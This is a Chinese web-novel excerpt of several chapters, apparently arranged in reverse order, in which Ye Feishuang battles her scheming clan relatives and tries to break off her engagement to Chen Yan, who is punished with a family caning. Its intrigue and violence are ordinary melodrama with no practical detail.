陈宴把锦风叫进来,问:“逸真大师出关了吗?” 锦风摇头:“没有。” 那天那个人当街刺杀公子,两人缠斗很久,被路过的逸真大师拦下了。 之后公子让他去找逸真大师打听对方是谁,谁知逸真大师直接闭关了,什么都没问到。 锦风惭愧极了,跪地垂首:“属下无能。” 他实在太没用了,不能为公子排忧解难。 “你退下吧。” 锦风悻悻出了书房,走出一段路,被人拍了下肩膀:“哎。” 锦风看清来人,拱手:“谢二公子。” 谢珩勾着锦风的肩膀,吊儿郎当地问:“你家公子这些日子怎么了?我感觉他有心事似的。” 其实陈宴很会掩饰自己的情绪,但谢珩、卢季同和他相识多年,彼此什么德行再清楚不过了,是瞒不过他们的。 谢珩有段时间没见陈宴了,这次是特意赶来参加他加冠礼的。 锦风这段时日也郁闷得厉害,就没忍住抱怨了一句:“还不是因为那郑五姑娘……” 他就把叶绯霜一门心思要和陈宴退婚、不接受陈宴的生辰礼、还骂陈宴和傅湘语是狗男女的事情给谢珩讲了一遍。 谢珩越听越气,听到“狗男女”三个字更是惊呆了,磨了磨后槽牙:“三郎都没嫌弃她,她倒是先挑上了?呵,这种人小爷可见多了,无非就是些欲擒故纵的小把戏,想引人注意呢。” 锦风觉得郑五姑娘不像欲擒故纵,但他更不愿意承认自家公子真的被人看不上。 于是也没反驳谢珩的话。 谢珩这人重情义,兄弟受气比他自己受气还难受。 他英俊的脸上布满怒色:“小爷倒是要去会会这个郑五姑娘,看她到底是哪路货色!” —— 叶绯霜去鼎福居给郑老太太请安。 这几个月,她只被允许进了房间两次,还没能近郑老太太的身。 但叶绯霜还是每日晨昏必至,在院子里给郑老太太行个礼就走,孝顺得让人挑不出一点儿错来。 “既然你这么孝顺,就给姑母抄些经祈福吧。”小秦氏说,“记得要用血抄,这样才灵验。” 叶绯霜微笑:“如有需要,太夫人和三伯母会吩咐霜儿的。姨母是外人,就不劳费心了。” 小秦氏狠狠剜了叶绯霜好几眼,继续挑她的错:“你祖母病得这么重,你还天天有心思打扮?穿红戴绿,花枝招展,真是全无心肝!” 叶绯霜以前不爱打扮,但是最近穿戴明显好了起来。 比如现在,她头上戴了个玛瑙金花冠,颈间带着个攒金红宝石项圈,一看就特别贵重。 小秦氏酸溜溜地想,这可都是四房的财产啊!本该是她姐姐、她外甥外甥女的,甚至是她的,就不该是叶绯霜这一家子的! 这么一比,倒是显得自己特别寒酸,小秦氏要气死了。 叶绯霜眨眨眼:“可是太夫人每次见我都夸我好看呢,说小孩子就应该打扮得鲜亮点。要是天天死气沉沉的,旁人还以为祖母怎么了呢,那不是对祖母更不好吗?” 嚣张!炫耀!小人得志!小秦氏愤愤,几乎要把手中的帕子绞烂了。 真想宰了这个小贱人! 叶绯霜眸光一转,看见了从郑老太太房间里出来的傅家兄妹。 郑老太太卧床不起,他们肯定要在旁边侍疾。 起初,他们兄妹二人在郑老太太房中几乎不出来,就怕叶绯霜再狂性大发地要杀人。 但几个月过去了,叶绯霜并没有做什么。 于是兄妹二人也不怕了。 想想也是,说到底叶绯霜也就是个小丫头片子,生气归生气,还真敢杀人? 况且,郑涟和靳氏这不是没死吗? 倒显得他们胆小,当初还真被她给吓着了,简直太丢人了。 几日后,便是重阳佳节了。 味馨坊推出了一款茱萸糕,物美价廉,很受欢迎。 绿蕊禀告叶绯霜,说她们接到一笔大单。 “知府大人和我们订了许多茱萸糕,想在重阳那天宴请荥阳的士子?”叶绯霜扬眉,“他们怎么不去宝芳斋订呢?” “来订糕点的衙官说,宝芳斋还是有点贵了,咱们的茱萸糕便宜还块儿大,正合适。”绿蕊很开心,“我们算了一下,能赚不少呢。” 虽然现在四房的资产都回来了,叶绯霜不用再被那个“翻五番”的条件所限制,但是能多赚钱,肯定是好的嘛。 叶绯霜笑眯眯地看着绿蕊:“要是咱们的茱萸糕出了问题,把荥阳的士子们吃出了毛病,这是什么罪?” 绿蕊愣住了。 “到时候味馨坊关门大吉,我这个掌柜的下大狱,四房的财产够不够我们赔的?” 绿蕊讷讷:“这……这不会吧,咱们的点心绝对不会有问题的。” “万一有人想让我们有问题呢?” 也不怪叶绯霜想得多。杜知府是小秦氏的夫君,她有充足的理由怀疑人家夫妻俩联手挖了个坑等着自己跳呢。 绿蕊被吓着了,忙说:“那咱们不接这一单了。” “不行,接!”叶绯霜拍板,“开门做生意,哪能把金主往外推呢?接,必须接!” 绿蕊:“……姑娘这是明知山有虎,偏向虎山行?” 叶绯霜说:“不入虎穴,焉得虎子。” 第91章 退一步 小秦氏听说姑母中风了,吓坏了,急忙来探望。 郑老太太在的那间房围的铁桶似的,闲杂人等进不去,但小秦氏不是闲杂人等。 她正伏在床边哭,头顶忽然被轻轻碰了碰。 她一抬头,看见方才还眼歪嘴斜、嘴角淌涎的姑母,眼里已经恢复了清明。 小秦氏惊道:“姑母,您……” “嘘。”郑老太太说,“你凑近点。” 小秦氏急忙俯身过去。 “你想法子把博哥和媛姐藏起来,藏好了,别让族里的人知道。我已经找到了两个和他俩很像的孩子,你把那俩孩子送回涂州去。” 小秦氏听懂了:“姑母怕族里对他俩下手?” “不是怕,是一定!所谓的发还本家不过是说起来好听罢了,怕是博哥和媛姐前脚出了荥阳城,后脚就要被他们杀了!” 小秦氏忙道:“是,我马上就去安排。” 她又哭着说:“倒是委屈了祖母,做出这样一副样子来。” 郑老太太恨道:“我若不如此,他们会让我活?” 她现在都没搞明白,十年前的事情,她明明做干净了,为何还有漏网之鱼? 她还安排人在涂州守了那么久,都没人冒头。结果她的人一撤,就有人出来告密了。 难道这真的是天意? 郑老太太又庆幸,自己早有准备。 秦氏出事后,她就想用一个人李代桃僵把秦氏换出来。那时她就顺便让人也给郑文博和郑茜媛找了替身,防的就是有一天东窗事发。 她还给自己准备了退路,那种药吃了之后形同中风。即便她有天大的错,族里的人也不能对她赶尽杀绝。 是不体面,但起码能保住命。 “会不会是那个叶绯霜弄的?”小秦氏咬牙切齿,“这许许多多的事,不是自打她回来才发生的吗?” 郑老太太沉沉叹了口气:“家门不幸啊。” “祖母,您给侄女支个招,侄女该怎么办?她下一个肯定要来对付侄女了!” “你是知府夫人,有什么可怕的?她还能把手伸到知府府里去?” 可小秦氏还是心难安。 实在是叶绯霜在鼎福居大打出手、按着傅闻达要杀的样子太恐怖了。 “你要是害怕,就先下手为强。”郑老太太闭上眼,“但别做得太显眼,悄悄把人除了就行了。” “是。”小秦氏擦了擦泪,“姑母您是什么打算?总不能一直这么装下去吧?” “先装一阵子,等这件事余波过去,再说治好了就行。他们总得给老大老三面子,不然还非得逼死我吗?” 秦氏松了口气,有姑母她就有主心骨:“那就好。” 几日后,四房的人先回了落梅小筑。 卢氏着人在整理主院,整理好之后他们就可以搬进去了。 叶绯霜没受伤,但身体酸痛得厉害,和去年中秋夜之后一样样的,索性也就卧床休息了几天。 小桃疾步走进来,低声道:“姑娘,我三哥说,六姑娘和九少爷死了。” “怎么死的?” “这几天不是一直下雨吗?送六姑娘和九少爷回涂州的马车在经过南山时,被山上滚落的大石头砸塌了,车里的人都被砸死了,砸得都没人样了。” 和前世一样。 靳氏闻言,只是叹了口气,没说什么。 小桃继续道:“府上对外的说法是,九少爷不小心掉进了湖里,六姑娘下去救他,两人都没上来。老太太受不了这个打击,病了。” 面子就是这么做的。 所谓的把郑文博和郑茜媛送还本家,是对郑家内部的面子工程。 现在这番说辞,是对外的面子工程。 小桃觉得很爽快得很:“这是他们遭了报应,老天都看不过去了。” 叶绯霜想了想,吩咐:“你让你三哥找个靠谱的人,偷偷盯着秦氏,看看她有没有接触什么人。” 前世和陈晏在一起,听他讲官场上那些波诡云谲的事,叶绯霜最大的心得就是: 小心使得万年船。 宁可多想,不要少想。 又养了几天,等身上的酸痛感彻底消失了,叶绯霜去了味馨坊。 在铺子里见到了铜宝,铜宝说:“我按照姑娘的吩咐盯着秦夫人,没察觉出有什么异样。” 叶绯霜并不失望:“也是,他们现在是惊弓之鸟,一定特别小心,不会露出什么把柄的。” 铜宝低头:“奴才无能。” 叶绯霜笑了:“我不是早给你们一家放良了?怎么还一口一个奴才的。” 铜宝立刻改口:“属下无能。” “不怪你。”叶绯霜从袖中拿出一张纸,“去找个首饰铺子,把这套头面给我打出来,以后免不了要用。” 铜宝不了解女子首饰,但光看纸上的图就能感受到这是一套非常奢华贵重的头面。 “咱们四房就有首饰铺子,我这就去。” 铜宝走后没多久,宁衡来了。 郑家的丑闻捂得严严实实的,所以宁衡听到的是: 郑文博和郑茜媛掉湖里淹死了,郑老太太怪郑涟和靳氏没有照顾好双生子,要处罚他们。叶绯霜让铜宝去请族长来主持公道,结果铜宝不在城里,小桃这才着急忙慌地要出城找自己三哥。 叶绯霜请谭大夫看病是因为她在湖里捞了半天弟弟妹妹,累坏了。 宁衡觉得好像有哪里不太对,但又说不上来。 他神经大条,没再纠结,问另外一件事:“师父,陈宴的加冠礼在九月初五,你去不去?” “我去干嘛呀?” “陈家没给你下请帖?你们不是有婚约吗?” “当然没有。”而且很快就不是了。 她还记得陈夫人看着自己的那个眼神,对方是绝对不会接受自己这样的儿媳妇的。 还有陈宴,自己都那么形容他了,不信他还能忍。 陈晏应该也能明白,他二人的观念、思维、立场皆不相同,他维护的是她想打破的。在官场上这叫政敌,根本不能强行凑一起。 而且太夫人也答应了帮她退婚。到时候肯定双方一拍即合,痛痛快快地解掉这桩婚约,皆大欢喜。 于是陈宴在自己的加冠礼之前,见到了郑家来退婚的人。 “此桩婚约是靳老先生遗愿。陈家会说到做到,护好靳老先生后人。”陈宴对来人说,“回去告诉贵府太夫人和五姑娘,不退。” 郑家派来的这个人相当能说会道,但是无论他说什么,都能被陈宴轻飘飘地驳回去,最后搞得他都开始怀疑自我了,感觉自己在干伤天害理的事情。 陈夫人要被陈宴气死了。 他们三月回的颍川,现在八月底,都快半年了。 这期间,她好说歹说,他儿子心如磐石,半步不退,就认准了这门婚约。 她办了好几场宴会,想让他儿子多看看其它贵女,结果他说自己鞭伤未愈,呆在他院子里半步不出。 哈,荒谬!他明明早就好得不能再好了! 他不让步,好,她让。 这也是没办法的办法。 陈夫人面无表情地看着自己儿子:“你想娶郑氏女,可以。” 陈宴清淡的眸光落在母亲脸上,静候她后半句。 “让她来陈家,接下来几年我亲自教养她,直至她及笄。之后,我便让你们完婚。” 第90章 萧悬光 叶绯霜刚一睁眼,差点惊叫出声—— 任谁睁开眼就看见这样一张盛世美颜,恐怕都要忍不住惊叫。 一个美少年,坐在地上,两只手掸着床沿,下巴掸在手背上,眼巴巴地望着她。 见她醒来,他立刻笑弯了眼睛,眸中光彩潋滟,开心地说:“阿姐,你醒啦!” 叶绯霜记得去年在船上时他是病糊涂了才把自己认成他阿姐,怎么现在他人清醒着,还在乱喊? 不对,她现在应该担心的难道不是他为什么会出现在这里吗? 叶绯霜动了动眼珠,发现这里是鼎福居没错。 她重新看向这位美少年:“你怎么会出现在这里?” “我替我师父来给你爹娘送药,然后偷偷溜进来看你。” “你师父是……” “老秃……呃,逸真大师。” 叶绯霜下意识瞟向他头顶,墨发乌黑浓密,上半部分发丝用墨色发带扎了个高马尾,发际处还有个漂亮的美人尖。 “你怎么有头发?” “当然啦,我又不是和尚!” 叶绯霜懂了:“那你是逸真大师的俗家弟子?” 美少年鼓了鼓嘴巴,不开心地嘟囔:“哼,谁要当他的弟子。破师父,就会给我添乱。要不是他关键时刻拦我,我早一刀取了陈宴狗命了。” 叶绯霜微一愣神:“你又去杀陈宴了?” 美少年抿着嘴巴把脸埋进了臂弯里,一副羞于见人的样子。 两次了,他都没能成功取陈宴狗命,没用死了,阿姐肯定会嘲笑他的。 “你和陈宴有什么仇?” 美少年忽又坐直了身子,眸光犀利如刃:“他杀了我阿姐,我和他不共戴天!” 叶绯霜忽然想起前世的陈宴说过的话—— “我有喜欢的人。” “我亲手杀了她。” 于是叶绯霜试探着问:“你阿姐是陈宴喜欢的人吗?” 对方瞬间化身一只被踩到尾巴的猫,直接蹦了起来,一脸又气愤又恶心又憎恶的表情:“哈,怎么可能!他也配喜欢我阿姐?我阿姐天下第一好,岂是他能觊觎的!” 这么明显的恼羞成怒。 看来还真是。 美少年意识到自己失态,立刻敛了一身戾气,又趴回床边,软着声音问:“阿姐,没吓到你吧?” 叶绯霜哭笑不得:“不要这么叫了,我真的不认识你。你看看咱俩的年龄,我可能是你阿姐吗?” 美少年眼中划过一抹受伤之色,垂下长长的眼睫,失落极了,像只被人抛弃的小狗。 不过片刻,他眼睛又亮了起来,振奋地问:“以前不认识没关系,现在认识了!以后你做我阿姐好不好?” 他单膝跪在地上,仰头望着叶绯霜,面带祈求,郑重地说:“阿姐,我会对你特别特别好的。我现在很厉害了,我能保护你,不让任何人伤害你。我还有好多好多钱,我可以给你买好吃的,买漂亮的衣服,大大的房子。我把我有的一切都给你,好不好?” 他越说越快,几乎是迫切地在问,眸光因为太过热切,显露出几分执着的疯感。 叶绯霜:“……” 她猜测,这位可怜的美少年可能在他阿姐死后,有点精神失常了。 叶绯霜同情地看着他:“我是不是和你阿姐长得很像?” “不是像,是一模一样!” 叶绯霜:“……” 这就夸张了,不至于。 看来,对方无法接受他阿姐的死,所以在见到和他阿姐长得很像的自己后,就把自己当成他阿姐了。 这是自欺欺人地给自己找了个精神寄托。 对方毕竟是逸真大师的弟子,叶绯霜念着逸真大师对娘亲有恩,觉得不能对对方太残忍。 “要是叫我阿姐能让你好受一点,你就叫吧。但我不需要你的保护,也不需要你的钱。” 对方自动忽略后半句,开心地叫:“阿姐!” 叶绯霜默默把前世的年龄给自己加上,然后点了点头:“嗯。” “阿姐阿姐阿姐!” “嗯嗯嗯。” “阿姐,你还愿意认我,太好了!”他的眼睛一下子红了,可怜巴巴地说,“我以为你生我的气,不要我了。” 叶绯霜:“……” 你入戏太深了。 她转移话题:“你叫什么名字?” “萧序。”他兴高采烈地说,“不过阿姐你一直叫我悬光,这还是你给我取的字呢!” 萧序萧悬光? 叶绯霜忽然觉得这个名字有点耳熟,好像在哪里听到过。 她仔细想了想,没想起来,却听见院中传来了小桃和郑茜静说话的声音。 萧序立刻说:“老秃……师父叫我早点回去,我得回去了,不然他又要罚我抄经。阿姐,我改天再来看你!” “好,谢谢你来送药。” “为阿姐做什么我都愿意。”萧序临走前想抱她,但是踌躇了半天不敢伸手,想拉一拉她的手,也不敢。 最后轻轻拽着她的袖口,带着几分痴迷地仰望她,唤她:“阿姐。” 两个字,被他叫得千回百转,仿佛带着无尽的思念与依恋,让叶绯霜听着都有些心酸了。 郑茜静推开房门,萧序刚好从窗口翩然跃出,像一只灵巧的鹤。 “五妹妹,你醒啦?怎么不叫人呢?”郑茜静小步快走过来,“你连着睡了十几个时辰了!幸亏谭大夫说你只是太累了,没别的事,不然我们要吓死了。你有哪里不舒服吗?” 叶绯霜说:“就是身上疼。” “累的,万幸的是没受什么伤。”郑茜静叹了口气,“没想到我和三婶去了一趟宁国寺,家里就发生了这么大的事。” 郑茜静和卢氏已经得知了事情的真相,给惊了个够呛。 饶是卢氏也没想到,郑茜媛和郑文博竟然不是郑涟的孩子。 她觉得秦氏敢和人私通就已经是熊心豹子胆了,没想到连混淆宗族血脉的事情也敢做,老太太还帮着掩护! 血脉传承是宗族存在的根基,老太太的行为简直就是在践踏宗法制度,挑战宗族的底线,将个人意愿完全凌驾于整个宗族之上。 要不是老太太中风了,她估计都出不了那个祠堂。 叶绯霜问:“祖母现在怎么样?” 郑茜静摇头:“不太好。” “二姐姐见到祖母了吗?” “我没能近前,只远远地看了一眼。” “祖母中风了?” “是啊,好像瘫了。听说嘴都动不了,药都吞不下去。” 叶绯霜微微皱起眉头。 “五妹妹,你……你别太为祖母挂心。”郑茜静说完觉得这话不太合适,这不是劝人不孝吗?于是找补了一句,“我是说,你先顾着你自己和四叔四婶就行了,祖母那边有的是人照顾呢。” 郑茜静没想错,叶绯霜还真是在为郑老太太挂心。 但她不是怕郑老太太瘫了。 而是怕她没瘫。 万一,郑老太太是装的呢? 她总觉得郑老太太没那么脆弱,更没那么胆小,丑事暴露是挺吓人的,但她既然敢做,应该不至于被吓的中风吧? 第89章 受家法 郑文博和郑茜媛还是被拽走了,他们的哭喊嘶叫渐渐听不到了。 小桃撇嘴:“只是从族谱除名发还本家,还是太便宜他们了。这俩人心多毒啊,害死过多少人,就应该扔出去喂狗。” 一说喂狗,郑文博曾有一次,好奇心突发想知道人和狗谁厉害,便把几个奴才和几条饿了几天的烈犬关一块儿,奴才的肠子都被狗扯出来了,郑文博还在哈哈大笑,说人不如狗。 郑茜媛也不遑多让。有一个新来的梳头婢女说了一句她有点丰腴应该换一个发髻,她便说人家骂她胖,直接把人打死了。 类似的事情不计其数。 有些人小小年纪,简直不知道他们的坏是哪里来的。 “不用管他们。”叶绯霜说,“你继续讲你的。” “……哦哦,我和我爹就开始找陈三郎,没找着,还有人警告我,不许再喊陈三郎的名字。 我以为没办法了,谁知竟然好运气地在醉红尘外边碰见了宁世子,世子听说姑娘可能出事了,便派了王府的侍卫,以公事之名出了城,在十里外的驿站里找到了我三哥他们,连夜回来见了族长,我就跟着他们一起来了……” 叶绯霜拍拍小桃的肩,满怀欣慰:“我本以为最快也得早上才能见到族长,没想到他们提前了那么多,竟连夜来了,我还以为是老天保佑我,原来是我的桃儿在保佑我。” 小桃被夸,开心地蹦了蹦:“就是姑娘福大命大,否则我也遇不到宁世子啊!” “要不是你,我都不知道我能不能撑到早上,这份情我记住了。” 小桃嘻嘻地笑:“姑娘对我好,对我们一家子好,我们肯定也要对姑娘好啊!” 叶绯霜庆幸自己没有看走眼。当初跟着卢氏去选丫鬟的时候,她一眼就看准了小桃,觉得她机灵。 叶绯霜叫她:“桃儿。” “哎!” “抱抱。” “啊?” 叶绯霜说完就直挺挺地栽到了小桃身上,累晕了。 小桃立刻把叶绯霜的胳膊环过自己脖子,架着她往屋里带。 叶绯霜很瘦,不沉,但是比小桃高,所以被架着的时候腿就在地上拖,不是很雅观的样子。 小桃朝铜宝喊:“三哥,你倒是来搭把手啊!” 铜宝只能帮她们打帘子,别的就做不了了。 他可不能碰姑娘。 铜宝想世子现在肯定很担心姑娘,所以决定去璐王府请一趟谭大夫。 —— 颍川。 陈氏乃当朝新兴世家,府邸也是祖皇帝时新建,不比郑府老宅的古朴厚重,倒是多了许多幽深雅致。 陈宴穿过游廊,走过九曲白玉桥,沿着青石道走进竹林。 竹林深处有一院落,门口悬一匾额,上书“静心堂”三字,墨色如漆,笔力雄浑。 陈宴进厅,撩袍跪地,给墙边老者见礼:“孙儿拜见祖父。” 陈文益耳顺之年,一身青灰布衣,身姿清癯健瘦,须发半白,面容沉肃如铁,眼神锐利如鹰。 他的嗓音深沉却不失和蔼,但一开口便兴师问罪:“你可知错?” “知。” 陈宴脱衣除服,只剩一层素白中衣。 陈文益走到他身后:“讲。” 陈宴说:“其一,悖礼逾矩。” 陈文益道:“婚约虽在,未过六礼,便是陌路。你探问、赠物、私会皆为孟浪之举,你败德丧行,置郑氏女清誉于何地?” “祖父教训的是。” 话音刚落,“啪”的一声重响,两指粗的藤条抽在背上,似要将人撕成两半。大脑出现了一瞬间的空白,之后才是火辣辣的钻心痛感。 陈宴直身而跪,未曾晃动一下,更未痛呼一声,只是额头霎时间布满了冷汗。 他继续说:“其二,行止无度。” 陈文益道:“你色令智昏,只是猜测郑氏女有难,便欲深夜擅闯郑府,效那江湖草莽之辈,逞匹夫之勇。” 第二鞭抽下来,冷汗顺着陈宴的脸滑落,从下颌滴落在地上,汇聚上一团水渍。 他轻吸口气,稳了稳心神,才继续说:“其三,不从母命。” 抽完第三鞭,陈文益说:“当年,靳遥对我有救命之恩,他说想给他爱女腹中子与我陈家结一门亲,我便应了。现在看来,实非良缘。既你母亲对郑氏女不满,婚约便作废,我会着人去郑家说明。” 陈宴汗如雨下,后背的灼痛传遍四肢百骸,仿佛要烧穿心肺。 他垂着眼睫,轻声说:“姻亲未结,如何知道不是良缘?” 陈文益看向这个最出色的孙子:“郑氏女罔顾礼法,行为狷狂,与你并不相配。” “靳老先生已经作古,如若退婚,恐负他所托。” 陈文益说:“看来你还是不想遵从我和你母亲的决定。” “孙儿不孝,任凭祖父责罚。” “原因?莫要说你心仪她,我不信。” “郑五姑娘身上有一事令孙儿困惑之至,孙儿定要弄明白才甘心。” 陈文益离开了,但陈宴还需在这里呆一天一夜。 陈氏家法便是如此,藤条加身,静心堂思过,期间水米不能进。 静心堂只有四面白墙,无窗,也没有任何家具,只在墙上刻着陈氏家训。 锦风悄悄走进来:“公子,我给你上药。” 陈家的家法倒还有点人性,虽不让吃饭,但药是可以上的。 陈宴盘坐于地,锦风掀开他的中衣,后背上几条淡淡的红痕交错。 这就是那藤条的厉害之处。有些人被抽完后,表面上不破皮不流血,痕迹浅淡,其实里边筋骨寸断、肌理溃烂。 陈文益倒不至于把陈宴打成那样,但也没好到哪里去。 锦风惊道:“夫人不是说最多三鞭吗?怎么这足足有六鞭?” “再加上不孝、忤逆、违长者令。” 锦风:“……” 他家公子是不是疯了。 他不再多说,仔细给陈宴涂药,想着接下来几天他家公子可有苦头吃了。 果然,第二天再上药的时候,皮肉遮不住内里的伤势,触目惊心。 整片后背俱是青紫之色,淤血在皮下堆积蔓延,鞭痕高高隆起,横贯于脊背之间。 陈宴额头滚烫,嘴唇干裂,每一次呼吸时带动的脊背起伏都牵扯出钻心的痛。 但他并没有倒地,依然面朝着刻了家训的墙壁盘坐,身形挺直,不见狼狈。 他开口,嗓音沙哑干涩:“着人去宁国寺,找逸真大师问清楚,那个当街与我交手的是何人。” “是。” “再去查郑五姑娘。” 锦风说:“我们不是早就查过郑五姑娘了吗?” “不够。”陈宴闭上眼,“细查,从她出生到现在,事无巨细。还有她的养父,她在乡下时接触过的人,所有,统统给我查明白。” 那名男子要杀他。 叶绯霜恨他。 他实在不解,他哪来这么多仇家? 第88章 奖与惩 叶绯霜跑回鼎福居,发现娘亲真的醒了。 她好不容易止住的眼泪又扑簌簌掉了下来,跪在床边握住靳氏的手:“娘,我还以为……” 一旁的大夫说:“多亏宁国寺的逸真大师来了,姨娘这才转危为安。” “逸真大师?”叶绯霜微怔,“现在他人呢?” “已经走了。大师看过了四老爷和姨娘,说二位性命已然无虞,还留下了丹药。”大夫感叹,“世人都道逸真大师不光佛法精妙,医术更是高超,乃活佛在世,看来名不虚传。” 靳氏说:“这可是救命之恩。” 叶绯霜道:“娘亲放心,女儿会尽快去宁国寺感谢大师的。铸佛像、塑金身、捐香火……女儿都会做的。” 很快,郑涟也醒了。 两个伤员断断续续地说了几句话,知道彼此都活着,就都安心了。 二人虽然性命无虞,但到底伤势严重,片刻后又都昏睡了过去。 叶绯霜对现在这副情形已经相当知足了。 爹娘还活着,比什么都好。 很快,有人过来请叶绯霜去祠堂一趟。 这是审完了郑老太太,也商讨出了处理结果,让叶绯霜这个四房目前唯一能动的过去听。 叶绯霜赶到祠堂,郑老太太正被人抬出来,她昏迷了。 只是这昏迷看着不太对劲,眼睛没有完全闭上,留了一条缝。嘴巴有点歪,微张着,嘴角还不断淌着涎水。 叶绯霜进去后,首先听到的就是太夫人对靳氏好一通夸赞。 太夫人是个非常传统的女子,否则也不会抱着贞节牌坊过一辈子。 靳氏这种老实本分,多年无怨无悔、不辞辛劳地照顾丈夫,还舍身为丈夫挡刀的,简直就是太夫人的梦中情媳。 族长说,他们决定恢复靳氏四房夫人的身份,归还四房所有田地、商铺、财产,族中再额外补偿四房一部分族中义田的收益,以做郑涟和靳氏养伤之用。 这是物质上的补偿。 郑氏族中有一本《贤妇录》,记录宗族里有品德的女眷事迹,以励后人。 太夫人这样的自然录上有名。太夫人说会把靳氏一并记录上去,让靳氏的事迹与品行传承后代。 这是荣誉奖赏。 说完奖励就该说惩罚了。 族长说,老太太貌似中风,怕是不能再理事。以后主家事务由三夫人卢氏主理,族中女眷之事由太夫人裁夺。 太夫人终于压倒郑老太太,成为了郑氏一族的宗母。 郑茜媛和郑文博从族谱除名,以后非郑氏子,送还本家。 叶绯霜一条条听罢,才说:“爹娘经此大劫,日后还能不能有子就难说了。霜儿请求,如若以后要给爹娘过继儿子,让爹娘自己来挑,可好?” 四房的资产本来不多,但郑老太太后来又着意给秦氏添了许多,就变得非常可观,现在倒是让叶绯霜捡现成了。 以防族中有些心术不正的打歪主意,想把自己家的孩子强行塞给郑涟当儿子图谋四房家产,叶绯霜必须提前把这事说好了。 可以过继儿子来继承四房,但得他们自己挑。 族长点头应允:“可。” 说完了奖惩,便要讲道理了。 无非就是,丑闻还是不要传出去的好。四房是受了天大的委屈,既然现在守得云开见月明了,就让过去的过去吧。四房可不要把这些事出去瞎说,守护郑氏一族声誉,人人有责。 叶绯霜认真倾听,乖巧应允。 太夫人目露慈爱,越看叶绯霜越喜欢。 果然,有其母必有其女。靳氏那样的娘,生养出来的闺女也是顶好的。 不像那个秦氏,那对双生子是什么东西。 事情都说完了,叶绯霜忽然撩裙跪地,给太夫人磕了个头。 太夫人忙道:“我的儿,这是怎么了?” 叶绯霜以头抢地,认真道:“昨晚我在鼎福居大打出手,伤了许多人。虽然是为了保护爹娘,情有可原,但《女诫》有言,修身莫若敬,避强莫若顺。 霜儿不敬不顺,品恶质陋,不堪为高门妇。故请太夫人做主,解了霜儿和颍川陈氏三郎陈宴的婚约,霜儿此后当专心孝事父母,励身修德。” 太夫人自然听过这位大名鼎鼎的陈三郎,没想到还有人把这样的郎君往外推的。 从整个宗族的发展来看,他们不是很想失去和陈氏结亲的机会。 荥阳郑氏从前朝传承至今,历经数百年,明显在走下坡路。可颍川陈氏乃新贵世家,蒸蒸日上,前途不可限量。 叶绯霜又道:“宗族姐妹中有的是蕙质兰心、品貌双全之辈。不管谁嫁作陈氏妇,都比霜儿合适。” 太夫人不是没动过私心,要是能给那位陈三郎选妻,她肯定更想从自己的孙女重孙女里边选啊。 她还琢磨着拿这次四房的事做做文章,和陈家那边商量一下换个结亲的人选,没想到这丫头这么有自知之明,主动提出来了。 这简直太合太夫人的心意了,太夫人亲手把叶绯霜扶起来,无比怜爱地说:“好吧,我应了,真是委屈你了。” 叶绯霜乖巧笑道:“为了家族声誉,霜儿不委屈。” 从祠堂出来,差不多是晌午了。 郑涟和靳氏不宜挪动,所以就留在鼎福居里养病。 叶绯霜自然也回鼎福居。 大老远就听见了郑文博的吵闹:“你们这群刁奴,敢碰本少爷,滚开!” 那被他踹了一脚的小厮反手一拳就上去了:“还拿自己当郑家少爷呢?都被族谱除名了,赶紧滚出去吧!” 郑文博撒泼打滚不肯走,嚷嚷着要找外祖母,又被一通猛揍。 郑文博平时在鼎福居作威作福,下人们都受过他的气。现在机会来了,肯定狠狠报复回来。 郑茜媛看起来体面多了,其实是被这个晴天霹雳给劈傻了,浑浑噩噩的,连吵闹都忘记了。 她抱着包袱,眼泪啪嗒嗒地掉。不明白怎么短短一天就天翻地覆了,她怎么就从荥阳郑氏的嫡小姐变成奸生女了。 看见叶绯霜,郑茜媛回过神来,她通红的眼睛像是着了火,恨不得把叶绯霜给焚烧殆尽。 她扔了包袱,朝叶绯霜扑过来,带着和她同归于尽的架势。 “是你!”郑茜媛嘶吼,“我娘,祖母,还有我和弟弟,都是被你害的!” 几个婆子扯着郑茜媛,她无法靠近叶绯霜,只能做困兽之斗。 叶绯霜没和她解释,也没和她争辩。 她只是把那个前世今生,郑茜媛不知道多少次用来骂她的词语,轻飘飘地还给了郑茜媛—— “贱种。” 第87章 她恨他 叶绯霜的声音其实不大。 但是因为周遭太安静了,便显得格外清晰。 瞬间死寂,就连微风仿佛都凝滞了。 院中所有人,陈夫人、小秦氏、傅湘语、傅闻达,包括陈夫人身后的仆从……全都瞠目结舌,如同石化。 陈宴那张总是清朗如玉的面庞,也瞬间被寒潮覆盖,眼中写满了不可置信。 他的涵养与风度几乎要被这极具侮辱性的三个字撕得粉碎。 陈宴活了十六载,从未被人这么冒犯过。 尤其这个人还是叶绯霜。 他的未婚妻。 他不止一次放下身段主动靠近的人。 他费尽心思想要讨好的人。 他在察觉到她有危险就不顾一切奔赴而来的人。 相处近一年,她对他的评价竟然是这样的。 傅湘语终于从震惊中回过神来,她脸上写满了羞愤,脖颈都是红的:“叶绯霜!你……你疯魔了!你血口喷人!我和陈公子什么都没有,你怎么敢那么说我们!” 话已出口,收不回了。 叶绯霜乜着傅湘语:“什么都没有?你不是喜欢他喜欢得厉害吗?” 虽然傅湘语一直没有隐藏过自己的心思,但是大庭广众下直接被戳破,还是让她有些羞愤难当。 “我与陈公子君子之交,岂容你这般污蔑!” 叶绯霜懒得和她吵。 她准备回去看爹娘了。 陈宴在这里,她今天是动不了傅家兄妹了。 没事,来日方长,她不信陈宴还能护他们一辈子。 叶绯霜转身欲走,却被陈宴一把拽住了手臂。 他用的力气极大,仿佛要捏碎她的骨骼。 他的目光不再清润,而是锋利如刀锋,恨不得把叶绯霜钉死在这里。 “你就是这么看我的?”每一个字都像是陈宴从牙关中生生挤出来的,“在你心里,我不堪到这种地步?” 叶绯霜缠斗一夜,累得快要虚脱。刚才又和他争执半天,现在觉得张嘴都费劲。 她也懒得再粉饰太平,懒得掩饰,懒得隐藏。 就这么看着他,没有任何失言的愧悔与自责,明明白白地用眼神告诉陈宴:我没说错,你也没听错。 陈宴看到了她平静眸底汹涌复杂的情绪,其中还有恨意。 不是疏离,不是躲闪,不是简单的厌恶,是恨。 他喉结滚动,想质问、想辩解、想探究这荒谬至极的指控和无法理解的恨意到底从何而来。 就因为他拦着没让她杀了傅闻达? 他的直觉告诉他,没有这么简单。 气氛窒息到了顶点,所有人都以为陈宴下一刻就要爆发了。 此时,铜宝惊喜的叫喊声传来:“姑娘,姨娘醒了!” 叶绯霜第一时间没有反应过来,娘她不是…… “姑娘,快回去看看吧,姨娘醒了,真的醒了!” 